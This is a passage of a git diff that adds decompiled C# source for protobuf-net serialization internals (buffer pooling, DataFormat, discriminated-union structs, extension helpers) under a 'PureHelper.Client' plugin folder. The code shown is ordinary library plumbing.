GetCachedBuffer(toFitAtLeastBytes) ?? new byte[num]; + if (copyBytes > 0) + { + Buffer.BlockCopy(buffer, copyFromIndex, array, 0, copyBytes); + ReleaseBufferToPool(ref buffer); + } + buffer = array; + } + + internal static void ReleaseBufferToPool(ref byte[] buffer) + { + if (buffer == null) + { + return; + } + lock (Pool) + { + int num = 0; + int num2 = int.MaxValue; + for (int i = 0; i < Pool.Length; i++) + { + CachedBuffer cachedBuffer = Pool[i]; + if (cachedBuffer == null || !cachedBuffer.IsAlive) + { + num = 0; + break; + } + if (cachedBuffer.Size < num2) + { + num = i; + num2 = cachedBuffer.Size; + } + } + Pool[num] = new CachedBuffer(buffer); + } + buffer = null; + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DataFormat.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DataFormat.cs new file mode 100644 index 0000000..e60575b --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DataFormat.cs @@ -0,0 +1,11 @@ +namespace ProtoBuf; + +public enum DataFormat +{ + Default, + ZigZag, + TwosComplement, + FixedSize, + Group, + WellKnown +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion128.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion128.cs new file mode 100644 index 0000000..1ae967d --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion128.cs @@ -0,0 +1,184 @@ +using System; +using System.Runtime.InteropServices; +using System.Runtime.Serialization; + +namespace ProtoBuf; + +[Serializable] +[StructLayout(LayoutKind.Explicit)] +public readonly struct DiscriminatedUnion128 : ISerializable +{ + [FieldOffset(0)] + private readonly int _discriminator; + + [FieldOffset(8)] + public readonly long Int64; + + [FieldOffset(8)] + public readonly ulong UInt64; + + [FieldOffset(8)] + public readonly int Int32; + + [FieldOffset(8)] + public readonly uint UInt32; + + [FieldOffset(8)] + public readonly bool Boolean; + + [FieldOffset(8)] + public readonly float Single; + + [FieldOffset(8)] + public readonly double Double; + + [FieldOffset(8)] + public readonly DateTime DateTime; + + [FieldOffset(8)] + public readonly TimeSpan TimeSpan; + + [FieldOffset(8)] + public readonly Guid Guid; + + [FieldOffset(8)] + private readonly long _lo; + + [FieldOffset(16)] + private readonly long _hi; + + public int Discriminator => _discriminator; + + unsafe static DiscriminatedUnion128() + { + if (sizeof(DateTime) > 16) + { + throw new InvalidOperationException("DateTime was unexpectedly too big for DiscriminatedUnion128"); + } + if (sizeof(TimeSpan) > 16) + { + throw new InvalidOperationException("TimeSpan was unexpectedly too big for DiscriminatedUnion128"); + } + if (sizeof(Guid) > 16) + { + throw new InvalidOperationException("Guid was unexpectedly too big for DiscriminatedUnion128"); + } + } + + private DiscriminatedUnion128(int discriminator) + { + this = default(DiscriminatedUnion128); + _discriminator = discriminator; + } + + public bool Is(int discriminator) + { + return _discriminator == discriminator; + } + + public DiscriminatedUnion128(int discriminator, long value) + : this(discriminator) + { + Int64 = value; + } + + public DiscriminatedUnion128(int discriminator, int value) + : this(discriminator) + { + Int32 = value; + } + + public DiscriminatedUnion128(int discriminator, ulong value) + : this(discriminator) + { + UInt64 = value; + } + + public DiscriminatedUnion128(int discriminator, uint value) + : this(discriminator) + { + UInt32 = value; + } + + public DiscriminatedUnion128(int discriminator, float value) + : this(discriminator) + { + Single = value; + } + + public DiscriminatedUnion128(int discriminator, double value) + : this(discriminator) + { + Double = value; + } + + public DiscriminatedUnion128(int discriminator, bool value) + : this(discriminator) + { + Boolean = value; + } + + public DiscriminatedUnion128(int discriminator, DateTime? value) + : this(value.HasValue ? discriminator : 0) + { + DateTime = value.GetValueOrDefault(); + } + + public DiscriminatedUnion128(int discriminator, TimeSpan? value) + : this(value.HasValue ? discriminator : 0) + { + TimeSpan = value.GetValueOrDefault(); + } + + public DiscriminatedUnion128(int discriminator, Guid? value) + : this(value.HasValue ? discriminator : 0) + { + Guid = value.GetValueOrDefault(); + } + + public static void Reset(ref DiscriminatedUnion128 value, int discriminator) + { + if (value.Discriminator == discriminator) + { + value = default(DiscriminatedUnion128); + } + } + + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + if (_discriminator != 0) + { + info.AddValue("d", _discriminator); + } + if (_lo != 0L) + { + info.AddValue("l", _lo); + } + if (_hi != 0L) + { + info.AddValue("h", _hi); + } + } + + private DiscriminatedUnion128(SerializationInfo info, StreamingContext context) + { + this = default(DiscriminatedUnion128); + SerializationInfoEnumerator enumerator = info.GetEnumerator(); + while (enumerator.MoveNext()) + { + SerializationEntry current = enumerator.Current; + switch (current.Name) + { + case "d": + _discriminator = (int)current.Value; + break; + case "l": + _lo = (long)current.Value; + break; + case "h": + _hi = (long)current.Value; + break; + } + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion128Object.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion128Object.cs new file mode 100644 index 0000000..f76d484 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion128Object.cs @@ -0,0 +1,200 @@ +using System; +using System.Runtime.InteropServices; +using System.Runtime.Serialization; + +namespace ProtoBuf; + +[Serializable] +[StructLayout(LayoutKind.Explicit)] +public readonly struct DiscriminatedUnion128Object : ISerializable +{ + [FieldOffset(0)] + private readonly int _discriminator; + + [FieldOffset(8)] + public readonly long Int64; + + [FieldOffset(8)] + public readonly ulong UInt64; + + [FieldOffset(8)] + public readonly int Int32; + + [FieldOffset(8)] + public readonly uint UInt32; + + [FieldOffset(8)] + public readonly bool Boolean; + + [FieldOffset(8)] + public readonly float Single; + + [FieldOffset(8)] + public readonly double Double; + + [FieldOffset(8)] + public readonly DateTime DateTime; + + [FieldOffset(8)] + public readonly TimeSpan TimeSpan; + + [FieldOffset(8)] + public readonly Guid Guid; + + [FieldOffset(24)] + public readonly object Object; + + [FieldOffset(8)] + private readonly long _lo; + + [FieldOffset(16)] + private readonly long _hi; + + public int Discriminator => _discriminator; + + unsafe static DiscriminatedUnion128Object() + { + if (sizeof(DateTime) > 16) + { + throw new InvalidOperationException("DateTime was unexpectedly too big for DiscriminatedUnion128Object"); + } + if (sizeof(TimeSpan) > 16) + { + throw new InvalidOperationException("TimeSpan was unexpectedly too big for DiscriminatedUnion128Object"); + } + if (sizeof(Guid) > 16) + { + throw new InvalidOperationException("Guid was unexpectedly too big for DiscriminatedUnion128Object"); + } + } + + private DiscriminatedUnion128Object(int discriminator) + { + this = default(DiscriminatedUnion128Object); + _discriminator = discriminator; + } + + public bool Is(int discriminator) + { + return _discriminator == discriminator; + } + + public DiscriminatedUnion128Object(int discriminator, long value) + : this(discriminator) + { + Int64 = value; + } + + public DiscriminatedUnion128Object(int discriminator, int value) + : this(discriminator) + { + Int32 = value; + } + + public DiscriminatedUnion128Object(int discriminator, ulong value) + : this(discriminator) + { + UInt64 = value; + } + + public DiscriminatedUnion128Object(int discriminator, uint value) + : this(discriminator) + { + UInt32 = value; + } + + public DiscriminatedUnion128Object(int discriminator, float value) + : this(discriminator) + { + Single = value; + } + + public DiscriminatedUnion128Object(int discriminator, double value) + : this(discriminator) + { + Double = value; + } + + public DiscriminatedUnion128Object(int discriminator, bool value) + : this(discriminator) + { + Boolean = value; + } + + public DiscriminatedUnion128Object(int discriminator, object value) + : this((value != null) ? discriminator : 0) + { + Object = value; + } + + public DiscriminatedUnion128Object(int discriminator, DateTime? value) + : this(value.HasValue ? discriminator : 0) + { + DateTime = value.GetValueOrDefault(); + } + + public DiscriminatedUnion128Object(int discriminator, TimeSpan? value) + : this(value.HasValue ? discriminator : 0) + { + TimeSpan = value.GetValueOrDefault(); + } + + public DiscriminatedUnion128Object(int discriminator, Guid? value) + : this(value.HasValue ? discriminator : 0) + { + Guid = value.GetValueOrDefault(); + } + + public static void Reset(ref DiscriminatedUnion128Object value, int discriminator) + { + if (value.Discriminator == discriminator) + { + value = default(DiscriminatedUnion128Object); + } + } + + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + if (_discriminator != 0) + { + info.AddValue("d", _discriminator); + } + if (_lo != 0L) + { + info.AddValue("l", _lo); + } + if (_hi != 0L) + { + info.AddValue("h", _hi); + } + if (Object != null) + { + info.AddValue("o", Object); + } + } + + private DiscriminatedUnion128Object(SerializationInfo info, StreamingContext context) + { + this = default(DiscriminatedUnion128Object); + SerializationInfoEnumerator enumerator = info.GetEnumerator(); + while (enumerator.MoveNext()) + { + SerializationEntry current = enumerator.Current; + switch (current.Name) + { + case "d": + _discriminator = (int)current.Value; + break; + case "l": + _lo = (long)current.Value; + break; + case "h": + _hi = (long)current.Value; + break; + case "o": + Object = current.Value; + break; + } + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion32.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion32.cs new file mode 100644 index 0000000..ecb8f3d --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion32.cs @@ -0,0 +1,104 @@ +using System; +using System.Runtime.InteropServices; +using System.Runtime.Serialization; + +namespace ProtoBuf; + +[Serializable] +[StructLayout(LayoutKind.Explicit)] +public readonly struct DiscriminatedUnion32 : ISerializable +{ + [FieldOffset(0)] + private readonly int _discriminator; + + [FieldOffset(4)] + public readonly int Int32; + + [FieldOffset(4)] + public readonly uint UInt32; + + [FieldOffset(4)] + public readonly bool Boolean; + + [FieldOffset(4)] + public readonly float Single; + + public int Discriminator => _discriminator; + + private DiscriminatedUnion32(int discriminator) + { + this = default(DiscriminatedUnion32); + _discriminator = discriminator; + } + + public bool Is(int discriminator) + { + return _discriminator == discriminator; + } + + public DiscriminatedUnion32(int discriminator, int value) + : this(discriminator) + { + Int32 = value; + } + + public DiscriminatedUnion32(int discriminator, uint value) + : this(discriminator) + { + UInt32 = value; + } + + public DiscriminatedUnion32(int discriminator, float value) + : this(discriminator) + { + Single = value; + } + + public DiscriminatedUnion32(int discriminator, bool value) + : this(discriminator) + { + Boolean = value; + } + + public static void Reset(ref DiscriminatedUnion32 value, int discriminator) + { + if (value.Discriminator == discriminator) + { + value = default(DiscriminatedUnion32); + } + } + + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + if (_discriminator != 0) + { + info.AddValue("d", _discriminator); + } + if (Int32 != 0) + { + info.AddValue("i", Int32); + } + } + + private DiscriminatedUnion32(SerializationInfo info, StreamingContext context) + { + this = default(DiscriminatedUnion32); + SerializationInfoEnumerator enumerator = info.GetEnumerator(); + while (enumerator.MoveNext()) + { + SerializationEntry current = enumerator.Current; + string name = current.Name; + if (!(name == "d")) + { + if (name == "i") + { + Int32 = (int)current.Value; + } + } + else + { + _discriminator = (int)current.Value; + } + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion32Object.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion32Object.cs new file mode 100644 index 0000000..ac3ab6a --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion32Object.cs @@ -0,0 +1,117 @@ +using System; +using System.Runtime.InteropServices; +using System.Runtime.Serialization; + +namespace ProtoBuf; + +[Serializable] +[StructLayout(LayoutKind.Explicit)] +public readonly struct DiscriminatedUnion32Object : ISerializable +{ + [FieldOffset(0)] + private readonly int _discriminator; + + [FieldOffset(4)] + public readonly int Int32; + + [FieldOffset(4)] + public readonly uint UInt32; + + [FieldOffset(4)] + public readonly bool Boolean; + + [FieldOffset(4)] + public readonly float Single; + + [FieldOffset(8)] + public readonly object Object; + + public int Discriminator => _discriminator; + + private DiscriminatedUnion32Object(int discriminator) + { + this = default(DiscriminatedUnion32Object); + _discriminator = discriminator; + } + + public bool Is(int discriminator) + { + return _discriminator == discriminator; + } + + public DiscriminatedUnion32Object(int discriminator, int value) + : this(discriminator) + { + Int32 = value; + } + + public DiscriminatedUnion32Object(int discriminator, uint value) + : this(discriminator) + { + UInt32 = value; + } + + public DiscriminatedUnion32Object(int discriminator, float value) + : this(discriminator) + { + Single = value; + } + + public DiscriminatedUnion32Object(int discriminator, bool value) + : this(discriminator) + { + Boolean = value; + } + + public DiscriminatedUnion32Object(int discriminator, object value) + : this((value != null) ? discriminator : 0) + { + Object = value; + } + + public static void Reset(ref DiscriminatedUnion32Object value, int discriminator) + { + if (value.Discriminator == discriminator) + { + value = default(DiscriminatedUnion32Object); + } + } + + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + if (_discriminator != 0) + { + info.AddValue("d", _discriminator); + } + if (Int32 != 0) + { + info.AddValue("i", Int32); + } + if (Object != null) + { + info.AddValue("o", Object); + } + } + + private DiscriminatedUnion32Object(SerializationInfo info, StreamingContext context) + { + this = default(DiscriminatedUnion32Object); + SerializationInfoEnumerator enumerator = info.GetEnumerator(); + while (enumerator.MoveNext()) + { + SerializationEntry current = enumerator.Current; + switch (current.Name) + { + case "d": + _discriminator = (int)current.Value; + break; + case "i": + Int32 = (int)current.Value; + break; + case "o": + Object = current.Value; + break; + } + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion64.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion64.cs new file mode 100644 index 0000000..eda1b3b --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion64.cs @@ -0,0 +1,161 @@ +using System; +using System.Runtime.InteropServices; +using System.Runtime.Serialization; + +namespace ProtoBuf; + +[Serializable] +[StructLayout(LayoutKind.Explicit)] +public readonly struct DiscriminatedUnion64 : ISerializable +{ + [FieldOffset(0)] + private readonly int _discriminator; + + [FieldOffset(8)] + public readonly long Int64; + + [FieldOffset(8)] + public readonly ulong UInt64; + + [FieldOffset(8)] + public readonly int Int32; + + [FieldOffset(8)] + public readonly uint UInt32; + + [FieldOffset(8)] + public readonly bool Boolean; + + [FieldOffset(8)] + public readonly float Single; + + [FieldOffset(8)] + public readonly double Double; + + [FieldOffset(8)] + public readonly DateTime DateTime; + + [FieldOffset(8)] + public readonly TimeSpan TimeSpan; + + public int Discriminator => _discriminator; + + unsafe static DiscriminatedUnion64() + { + if (sizeof(DateTime) > 8) + { + throw new InvalidOperationException("DateTime was unexpectedly too big for DiscriminatedUnion64"); + } + if (sizeof(TimeSpan) > 8) + { + throw new InvalidOperationException("TimeSpan was unexpectedly too big for DiscriminatedUnion64"); + } + } + + private DiscriminatedUnion64(int discriminator) + { + this = default(DiscriminatedUnion64); + _discriminator = discriminator; + } + + public bool Is(int discriminator) + { + return _discriminator == discriminator; + } + + public DiscriminatedUnion64(int discriminator, long value) + : this(discriminator) + { + Int64 = value; + } + + public DiscriminatedUnion64(int discriminator, int value) + : this(discriminator) + { + Int32 = value; + } + + public DiscriminatedUnion64(int discriminator, ulong value) + : this(discriminator) + { + UInt64 = value; + } + + public DiscriminatedUnion64(int discriminator, uint value) + : this(discriminator) + { + UInt32 = value; + } + + public DiscriminatedUnion64(int discriminator, float value) + : this(discriminator) + { + Single = value; + } + + public DiscriminatedUnion64(int discriminator, double value) + : this(discriminator) + { + Double = value; + } + + public DiscriminatedUnion64(int discriminator, bool value) + : this(discriminator) + { + Boolean = value; + } + + public DiscriminatedUnion64(int discriminator, DateTime? value) + : this(value.HasValue ? discriminator : 0) + { + DateTime = value.GetValueOrDefault(); + } + + public DiscriminatedUnion64(int discriminator, TimeSpan? value) + : this(value.HasValue ? discriminator : 0) + { + TimeSpan = value.GetValueOrDefault(); + } + + public static void Reset(ref DiscriminatedUnion64 value, int discriminator) + { + if (value.Discriminator == discriminator) + { + value = default(DiscriminatedUnion64); + } + } + + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + if (_discriminator != 0) + { + info.AddValue("d", _discriminator); + } + if (Int64 != 0L) + { + info.AddValue("i", Int64); + } + } + + private DiscriminatedUnion64(SerializationInfo info, StreamingContext context) + { + this = default(DiscriminatedUnion64); + SerializationInfoEnumerator enumerator = info.GetEnumerator(); + while (enumerator.MoveNext()) + { + SerializationEntry current = enumerator.Current; + string name = current.Name; + if (!(name == "d")) + { + if (name == "i") + { + Int64 = (long)current.Value; + } + } + else + { + _discriminator = (int)current.Value; + } + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion64Object.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion64Object.cs new file mode 100644 index 0000000..f8ce666 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnion64Object.cs @@ -0,0 +1,174 @@ +using System; +using System.Runtime.InteropServices; +using System.Runtime.Serialization; + +namespace ProtoBuf; + +[Serializable] +[StructLayout(LayoutKind.Explicit)] +public readonly struct DiscriminatedUnion64Object : ISerializable +{ + [FieldOffset(0)] + private readonly int _discriminator; + + [FieldOffset(8)] + public readonly long Int64; + + [FieldOffset(8)] + public readonly ulong UInt64; + + [FieldOffset(8)] + public readonly int Int32; + + [FieldOffset(8)] + public readonly uint UInt32; + + [FieldOffset(8)] + public readonly bool Boolean; + + [FieldOffset(8)] + public readonly float Single; + + [FieldOffset(8)] + public readonly double Double; + + [FieldOffset(8)] + public readonly DateTime DateTime; + + [FieldOffset(8)] + public readonly TimeSpan TimeSpan; + + [FieldOffset(16)] + public readonly object Object; + + public int Discriminator => _discriminator; + + unsafe static DiscriminatedUnion64Object() + { + if (sizeof(DateTime) > 8) + { + throw new InvalidOperationException("DateTime was unexpectedly too big for DiscriminatedUnion64Object"); + } + if (sizeof(TimeSpan) > 8) + { + throw new InvalidOperationException("TimeSpan was unexpectedly too big for DiscriminatedUnion64Object"); + } + } + + private DiscriminatedUnion64Object(int discriminator) + { + this = default(DiscriminatedUnion64Object); + _discriminator = discriminator; + } + + public bool Is(int discriminator) + { + return _discriminator == discriminator; + } + + public DiscriminatedUnion64Object(int discriminator, long value) + : this(discriminator) + { + Int64 = value; + } + + public DiscriminatedUnion64Object(int discriminator, int value) + : this(discriminator) + { + Int32 = value; + } + + public DiscriminatedUnion64Object(int discriminator, ulong value) + : this(discriminator) + { + UInt64 = value; + } + + public DiscriminatedUnion64Object(int discriminator, uint value) + : this(discriminator) + { + UInt32 = value; + } + + public DiscriminatedUnion64Object(int discriminator, float value) + : this(discriminator) + { + Single = value; + } + + public DiscriminatedUnion64Object(int discriminator, double value) + : this(discriminator) + { + Double = value; + } + + public DiscriminatedUnion64Object(int discriminator, bool value) + : this(discriminator) + { + Boolean = value; + } + + public DiscriminatedUnion64Object(int discriminator, object value) + : this((value != null) ? discriminator : 0) + { + Object = value; + } + + public DiscriminatedUnion64Object(int discriminator, DateTime? value) + : this(value.HasValue ? discriminator : 0) + { + DateTime = value.GetValueOrDefault(); + } + + public DiscriminatedUnion64Object(int discriminator, TimeSpan? value) + : this(value.HasValue ? discriminator : 0) + { + TimeSpan = value.GetValueOrDefault(); + } + + public static void Reset(ref DiscriminatedUnion64Object value, int discriminator) + { + if (value.Discriminator == discriminator) + { + value = default(DiscriminatedUnion64Object); + } + } + + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + if (_discriminator != 0) + { + info.AddValue("d", _discriminator); + } + if (Int64 != 0L) + { + info.AddValue("i", Int64); + } + if (Object != null) + { + info.AddValue("o", Object); + } + } + + private DiscriminatedUnion64Object(SerializationInfo info, StreamingContext context) + { + this = default(DiscriminatedUnion64Object); + SerializationInfoEnumerator enumerator = info.GetEnumerator(); + while (enumerator.MoveNext()) + { + SerializationEntry current = enumerator.Current; + switch (current.Name) + { + case "d": + _discriminator = (int)current.Value; + break; + case "i": + Int64 = (long)current.Value; + break; + case "o": + Object = current.Value; + break; + } + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnionObject.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnionObject.cs new file mode 100644 index 0000000..7e47bcf --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/DiscriminatedUnionObject.cs @@ -0,0 +1,65 @@ +using System; +using System.Runtime.Serialization; + +namespace ProtoBuf; + +[Serializable] +public readonly struct DiscriminatedUnionObject : ISerializable +{ + public readonly object Object; + + public int Discriminator { get; } + + public bool Is(int discriminator) + { + return Discriminator == discriminator; + } + + public DiscriminatedUnionObject(int discriminator, object value) + { + Discriminator = discriminator; + Object = value; + } + + public static void Reset(ref DiscriminatedUnionObject value, int discriminator) + { + if (value.Discriminator == discriminator) + { + value = default(DiscriminatedUnionObject); + } + } + + void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context) + { + if (Discriminator != 0) + { + info.AddValue("d", Discriminator); + } + if (Object != null) + { + info.AddValue("o", Object); + } + } + + private DiscriminatedUnionObject(SerializationInfo info, StreamingContext context) + { + this = default(DiscriminatedUnionObject); + SerializationInfoEnumerator enumerator = info.GetEnumerator(); + while (enumerator.MoveNext()) + { + SerializationEntry current = enumerator.Current; + string name = current.Name; + if (!(name == "d")) + { + if (name == "o") + { + Object = current.Value; + } + } + else + { + Discriminator = (int)current.Value; + } + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/Extensible.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/Extensible.cs new file mode 100644 index 0000000..3d34f5f --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/Extensible.cs @@ -0,0 +1,105 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using ProtoBuf.Meta; + +namespace ProtoBuf; + +public abstract class Extensible : IExtensible +{ + private IExtension extensionObject; + + IExtension IExtensible.GetExtensionObject(bool createIfMissing) + { + return GetExtensionObject(createIfMissing); + } + + protected virtual IExtension GetExtensionObject(bool createIfMissing) + { + return GetExtensionObject(ref extensionObject, createIfMissing); + } + + public static IExtension GetExtensionObject(ref IExtension extensionObject, bool createIfMissing) + { + if (createIfMissing && extensionObject == null) + { + extensionObject = new BufferExtension(); + } + return extensionObject; + } + + public static void AppendValue(IExtensible instance, int tag, TValue value) + { + AppendValue(instance, tag, DataFormat.Default, value); + } + + public static void AppendValue(IExtensible instance, int tag, DataFormat format, TValue value) + { + ExtensibleUtil.AppendExtendValue(RuntimeTypeModel.Default, instance, tag, format, value); + } + + public static TValue GetValue(IExtensible instance, int tag) + { + return GetValue(instance, tag, DataFormat.Default); + } + + public static TValue GetValue(IExtensible instance, int tag, DataFormat format) + { + TryGetValue(instance, tag, format, out var value); + return value; + } + + public static bool TryGetValue(IExtensible instance, int tag, out TValue value) + { + return TryGetValue(instance, tag, DataFormat.Default, out value); + } + + public static bool TryGetValue(IExtensible instance, int tag, DataFormat format, out TValue value) + { + return TryGetValue(instance, tag, format, allowDefinedTag: false, out value); + } + + public static bool TryGetValue(IExtensible instance, int tag, DataFormat format, bool allowDefinedTag, out TValue value) + { + value = default(TValue); + bool result = false; + foreach (TValue extendedValue in ExtensibleUtil.GetExtendedValues(instance, tag, format, singleton: true, allowDefinedTag)) + { + value = extendedValue; + result = true; + } + return result; + } + + public static IEnumerable GetValues(IExtensible instance, int tag) + { + return ExtensibleUtil.GetExtendedValues(instance, tag, DataFormat.Default, singleton: false, allowDefinedTag: false); + } + + public static IEnumerable GetValues(IExtensible instance, int tag, DataFormat format) + { + return ExtensibleUtil.GetExtendedValues(instance, tag, format, singleton: false, allowDefinedTag: false); + } + + public static bool TryGetValue(TypeModel model, Type type, IExtensible instance, int tag, DataFormat format, bool allowDefinedTag, out object value) + { + value = null; + bool result = false; + foreach (object extendedValue in ExtensibleUtil.GetExtendedValues(model, type, instance, tag, format, singleton: true, allowDefinedTag)) + { + value = extendedValue; + result = true; + } + return result; + } + + public static IEnumerable GetValues(TypeModel model, Type type, IExtensible instance, int tag, DataFormat format) + { + return ExtensibleUtil.GetExtendedValues(model, type, instance, tag, format, singleton: false, allowDefinedTag: false); + } + + public static void AppendValue(TypeModel model, IExtensible instance, int tag, DataFormat format, object value) + { + ExtensibleUtil.AppendExtendValue(model, instance, tag, format, value); + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ExtensibleUtil.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ExtensibleUtil.cs new file mode 100644 index 0000000..6857e35 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/ExtensibleUtil.cs @@ -0,0 +1,92 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using ProtoBuf.Meta; + +namespace ProtoBuf; + +internal static class ExtensibleUtil +{ + internal static IEnumerable GetExtendedValues(IExtensible instance, int tag, DataFormat format, bool singleton, bool allowDefinedTag) + { + foreach (TValue extendedValue in GetExtendedValues(RuntimeTypeModel.Default, typeof(TValue), instance, tag, format, singleton, allowDefinedTag)) + { + yield return extendedValue; + } + } + + internal static IEnumerable GetExtendedValues(TypeModel model, Type type, IExtensible instance, int tag, DataFormat format, bool singleton, bool allowDefinedTag) + { + if (instance == null) + { + throw new ArgumentNullException("instance"); + } + if (tag <= 0) + { + throw new ArgumentOutOfRangeException("tag"); + } + IExtension extn = instance.GetExtensionObject(createIfMissing: false); + if (extn == null) + { + yield break; + } + Stream stream = extn.BeginQuery(); + object value = null; + ProtoReader reader = null; + try + { + SerializationContext context = new SerializationContext(); + reader = ProtoReader.Create(stream, model, context, -1L); + while (model.TryDeserializeAuxiliaryType(reader, format, tag, type, ref value, skipOtherFields: true, asListItem: true, autoCreate: false, insideList: false, null) && value != null) + { + if (!singleton) + { + yield return value; + value = null; + } + } + if (singleton && value != null) + { + yield return value; + } + } + finally + { + ProtoReader.Recycle(reader); + extn.EndQuery(stream); + } + } + + internal static void AppendExtendValue(TypeModel model, IExtensible instance, int tag, DataFormat format, object value) + { + if (instance == null) + { + throw new ArgumentNullException("instance"); + } + if (value == null) + { + throw new ArgumentNullException("value"); + } + IExtension extensionObject = instance.GetExtensionObject(createIfMissing: true); + if (extensionObject == null) + { + throw new InvalidOperationException("No extension object available; appended data would be lost."); + } + bool commit = false; + Stream stream = extensionObject.BeginAppend(); + try + { + using (ProtoWriter protoWriter = ProtoWriter.Create(stream, model)) + { + model.TrySerializeAuxiliaryType(protoWriter, null, format, tag, value, isInsideList: false, null); + protoWriter.Close(); + } + commit = true; + } + finally + { + extensionObject.EndAppend(stream, commit); + } + } +} diff --git a/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/Helpers.cs b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/Helpers.cs new file mode 100644 index 0000000..9359e55 --- /dev/null +++ b/decompiled/PanelPlugins/PureHelper.Client/ProtoBuf/Helpers.cs @@ -0,0 +1,267 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Reflection; +using System.Text; + +namespace ProtoBuf; + +internal sealed class Helpers +{ + public static readonly Type[] EmptyTypes = Type.EmptyTypes; + + private Helpers() + { + } + + public static StringBuilder AppendLine(StringBuilder builder) + { + return builder.AppendLine(); + } + + [Conditional("DEBUG")] + public static void DebugWriteLine(string message, object obj) + { + } + + [Conditional("DEBUG")] + public static void DebugWriteLine(string message) + { + } + + [Conditional("TRACE")] + public static void TraceWriteLine(string message) + { + } + + [Conditional("DEBUG")] + public static void DebugAssert(bool condition, string message) + { + } + + [Conditional("DEBUG")] + public static void DebugAssert(bool condition, string message, params object[] args) + { + } + + [Conditional("DEBUG")] + public static void DebugAssert(bool condition) + { + } + + public static void Sort(int[] keys, object[] values) + { + bool flag; + do + { + flag = false; + for (int i = 1; i < keys.Length; i++) + { + if (keys[i - 1] > keys[i]) + { + int num = keys[i]; + keys[i] = keys[i - 1]; + keys[i - 1] = num; + object obj = values[i]; + values[i] = values[i - 1]; + values[i - 1] = obj; + flag = true; + } + } + } + while (flag); + } + + internal static MethodInfo GetInstanceMethod(Type declaringType, string name) + { + return declaringType.GetMethod(name, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic); + } + + internal static MethodInfo GetStaticMethod(Type declaringType, string name) + { + return declaringType.GetMethod(name, BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); + } + + internal static MethodInfo GetStaticMethod(Type declaringType, string name, Type[] parameterTypes) + { + return declaringType.GetMethod(name, BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic, null, parameterTypes, null); + } + + internal static MethodInfo GetInstanceMethod(Type declaringType, string name, Type[] types) + { + if (types == null) + { + types = EmptyTypes; + } + return declaringType.GetMethod(name, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, types, null); + } + + internal static bool IsSubclassOf(Type type, Type baseClass) + { + return type.IsSubclassOf(baseClass); + } + + public static ProtoTypeCode GetTypeCode(Type type) + { + TypeCode typeCode = Type.GetTypeCode(type); + switch (typeCode) + { + case TypeCode.Empty: + case TypeCode.Boolean: + case TypeCode.Char: + case TypeCode.SByte: + case TypeCode.Byte: + case TypeCode.Int16: + case TypeCode.UInt16: + case TypeCode.Int32: + case TypeCode.UInt32: + case TypeCode.Int64: + case TypeCode.UInt64: + case TypeCode.Single: + case TypeCode.Double: + case TypeCode.Decimal: + case TypeCode.DateTime: + case TypeCode.String: + return (ProtoTypeCode)typeCode; + default: + if ((object)type == typeof(TimeSpan)) + { + return ProtoTypeCode.TimeSpan; + } + if ((object)type == typeof(Guid)) + { + return ProtoTypeCode.Guid; + } + if ((object)type == typeof(Uri)) + { + return ProtoTypeCode.Uri; + } + if ((object)type == typeof(byte[])) + { + return ProtoTypeCode.ByteArray; + } 